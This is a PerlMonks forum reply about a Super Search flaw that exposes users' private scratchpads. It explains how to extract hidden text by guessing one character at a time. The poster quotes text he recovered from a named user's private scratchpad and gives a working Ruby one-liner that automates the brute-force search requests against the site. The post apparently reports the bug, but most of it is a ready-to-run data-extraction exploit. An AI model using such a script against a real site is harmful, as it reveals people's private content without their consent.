You can use this feature to find out the full text of the private scratchpad.

For example, if you want to know what follows "vec" in princepawn's scratchpad, you super-search the scratchpad for "veca", "vecb", ... putting each character after vec. This is very slow, so don't do it unless you really need to. It also sucks because the search is case-sensitive.

I tried this just to test that it works. It turns out that princepawn's scratchpad contains "$vector, 1, rand(2" (some letters may be ucased): super-search proves it.

I did the search with a little script that tries every character automatically (some think there are 2**31 characters). To find out the next character, just try (Update: readmored code)

time ruby -we 'STR="$vector, 1, rand(2";require"net/http";require"cgi" +; conn=Net::HTTP.new("www.perlmonks.org"); (?\ ..?~).each do|k|(?A..? +Z)===k and next; str=CGI.escape(STR+k.chr+"``1"); post= "displaytype= +raw;node_id=3989;n0=0;BIT=#{str};BIS=``1;BH=0;go=search;xa=0;a=prince +pawn;nf=1;xs=1;Wi=1;Tu=1;M=1;D=1;U=1;Ob=1;Po=1;MR=1;CU=1;Cr=1;BR=1;CC +=1;Sn=1;pPd=1;CQ=1;N=1;pFn=1;CA=1;Q=1;pFq=1;Hlp=1;Pol=1;xr=0;re=N"; r +es="";conn.post "/",post, Hash["User-Agent"=>"node363597","Content-Ty +pe"=>"application/x-www-form-urlencoded"],res;if res !~/\bFinished se +arching\b|\bsearching remaining\b/i; puts"failed";puts res;elsif res= +~/\bnode_id=358697\b/;puts str;end;end;'

Beware, this takes some time to finish. Some guesswork can help (I guessed that "or" would follow "vact").


In reply to Re: Super Search searches scratchpads which are not public by ambrus
in thread Super Search searches scratchpads which are not public by deprecated

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.